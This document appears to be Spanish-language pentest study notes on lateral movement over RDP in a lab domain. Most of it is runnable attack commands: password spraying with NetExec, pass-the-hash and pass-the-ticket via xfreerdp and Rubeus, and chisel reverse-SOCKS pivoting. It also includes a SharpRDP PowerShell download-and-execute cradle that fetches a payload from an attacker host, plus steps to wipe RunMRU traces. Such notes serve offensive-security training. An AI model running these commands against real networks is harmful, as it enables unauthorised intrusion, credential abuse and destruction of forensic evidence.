Lateral Movement — Remote Desktop Protocol (RDP)
Herramientas
Requisitos de acceso
Por defecto solo pueden conectarse via RDP los miembros de Administrators o Remote Desktop Users. Un administrador puede agregar otros usuarios o grupos. Como estos permisos son locales, solo se pueden enumerar si tienes derechos de admin en el host objetivo.
Puerto por defecto: 3389/TCP. Los admins pueden cambiarlo.
Enumeración y Password Spray
# Detectar RDP en la red
nmap -p 3389 -sV 172.20.0.0/24
# Probar credenciales contra RDP con NetExec
netexec rdp 10.129.229.0/24 -u helen -p 'RedRiot88' -d inlanefreight.local
# Password spray con lista de usuarios
netexec rdp 172.20.0.0/24 -u users.txt -p 'Password123' -d inlanefreight.local
# Pass the Hash via RDP con NetExec
netexec rdp 172.20.0.0/24 -u helen -H 62EBA30320E250ECA185AA1327E78AEB -d inlanefreight.local(Pwn3d!) indica que el usuario tiene derechos de RDP, no necesariamente admin local.
Conexión desde Linux
Básico
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux/drive:.,linux redirige el filesystem local al host remoto, útil para transferir herramientas.
Optimizado para conexiones lentas o via proxy
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache/bpp:8 → reduce profundidad de color (menos datos)
/compression → comprime el tráfico
-themes → desactiva temas del escritorio
-wallpaper → desactiva el fondo
/clipboard → comparte portapapeles
/audio-mode:0 → desactiva audio
/auto-reconnect → reconexión automática si cae
-glyph-cache → cachea caracteres de textoConexión desde Windows
mstsc.exeRestricted Admin Mode
Modo que realiza un Network Logon en lugar de Interactive Logon, evitando que las credenciales queden cacheadas en el host remoto. Solo aplica a administradores.
Aunque previene el cacheo de credenciales, habilita Pass the Hash y Pass the Ticket via RDP.
Verificar si está habilitado
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdminValor 0 → Restricted Admin Mode HABILITADO
Valor 1 → Restricted Admin Mode DESHABILITADO
Key no existe → DESHABILITADOHabilitar / Deshabilitar
# Habilitar (requiere admin local)
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
# Deshabilitar
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 1 /t REG_DWORDPass the Hash via RDP
Desde Linux con xfreerdp
# Sin proxy
xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52
# Via proxychains (cuando hay pivoting)
proxychains4 -q xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52Desde Windows con Rubeus + mstsc
# Paso 1 — Crear proceso sacrificial con contexto limpio
.\Rubeus.exe createnetonly /program:powershell.exe /show
# Paso 2 — En la nueva ventana, importar TGT con el hash
.\Rubeus.exe asktgt /user:helen /rc4:62EBA30320E250ECA185AA1327E78AEB /domain:inlanefreight.local /ptt
# Paso 3 — Conectar via RDP con el ticket importado
mstsc.exe /restrictedAdminPass the Ticket via RDP
Mismo flujo que Pass the Hash pero con un ticket .kirbi ya existente:
# Importar ticket al proceso sacrificial
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Conectar
mstsc.exe /restrictedAdminSharpRDP — Ejecución de comandos sin GUI
Permite ejecutar comandos via RDP sin necesitar cliente gráfico ni proxy SOCKS. Usa mstscax.dll internamente.
# Ejecutar comando en host remoto
.\SharpRDP.exe computername=srv01 command="whoami" username=inlanefreight\helen password=RedRiot88
# Ejecutar payload via PowerShell
.\SharpRDP.exe computername=srv01 command="powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.207/s')" username=inlanefreight\helen password=RedRiot88Límite: 259 caracteres en el comando.
Limpiar rastros de SharpRDP (RunMRU)
SharpRDP deja rastros en HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Limpiar con CleanRunMRU:
# Compilar desde código fuente
wget -Uri http://<IP>/CleanRunMRU/Program.cs -OutFile CleanRunMRU.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\CleanRunMRU.cs
# Limpiar todos los registros
.\CleanRunMRU.exe clearallPivoting para alcanzar hosts en otros segmentos
Cuando el host objetivo está en un segmento de red diferente, configurar un proxy SOCKS con chisel:
# En Linux — levantar servidor chisel
./chisel server --reverse
# En el host pivot (Windows) — conectar al servidor
.\chisel.exe client <IP_LINUX>:8080 R:socks
# Configurar proxychains en /etc/proxychains.conf
socks5 127.0.0.1 1080
# Usar proxychains para alcanzar el host objetivo
proxychains4 -q xfreerdp /u:helen /pth:<hash> /d:inlanefreight.local /v:172.20.0.52Ventajas de RDP para lateral movement
RDP es una opción atractiva porque el tráfico es común en entornos empresariales y no levanta sospechas, no requiere privilegios de admin para conectarse (basta con ser miembro de Remote Desktop Users), y proporciona acceso persistente y una sesión interactiva completa con transferencia de archivos y portapapeles.
Enumeración de miembros del grupo Remote Desktop Users
# Desde Windows (requiere admin)
Get-NetLocalGroupMember -ComputerName SRV01 -GroupName "Remote Desktop Users"
# Via NetExec
netexec smb 172.20.0.52 -u helen -p 'RedRiot88' --local-groups "Remote Desktop Users"